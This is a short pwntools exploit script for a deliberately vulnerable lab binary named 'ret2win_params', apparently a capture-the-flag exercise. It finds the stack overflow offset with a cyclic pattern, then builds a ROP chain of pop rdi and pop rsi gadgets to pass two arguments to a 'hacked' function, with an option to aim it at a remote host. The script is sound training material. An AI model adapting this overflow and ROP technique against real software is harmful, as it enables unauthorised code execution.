ex.py

from pwn import *

exe = './ret2win_params'

# Allows easy swapping betwen local/remote/debug modes
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)

def find_ip(p):
    payload = cyclic(200)
    p.sendlineafter(b':', payload)
    p.wait()
    ip_offset = cyclic_find(p.corefile.read(p.corefile.sp, 4))
    info('located EIP/RIP offset at {a}'.format(a=ip_offset))
    return ip_offset

p = start()
elf = context.binary = ELF('./ret2win_params', checksec=False)

ip_offset = 24

payload = flat({
    ip_offset: [
        0x40124b, # Pop rdi; ret;
        0xdeadbeefdeadbeef, # Param_1
        0x401249, # Pop rsi; pop r15; ret;
        0xc0debabec0debabe, # Param_2
        0x41414141, # junk
        elf.functions.hacked,
    ]
})

write('payload', payload)

print("$(python2 -c \"print", payload, "\")")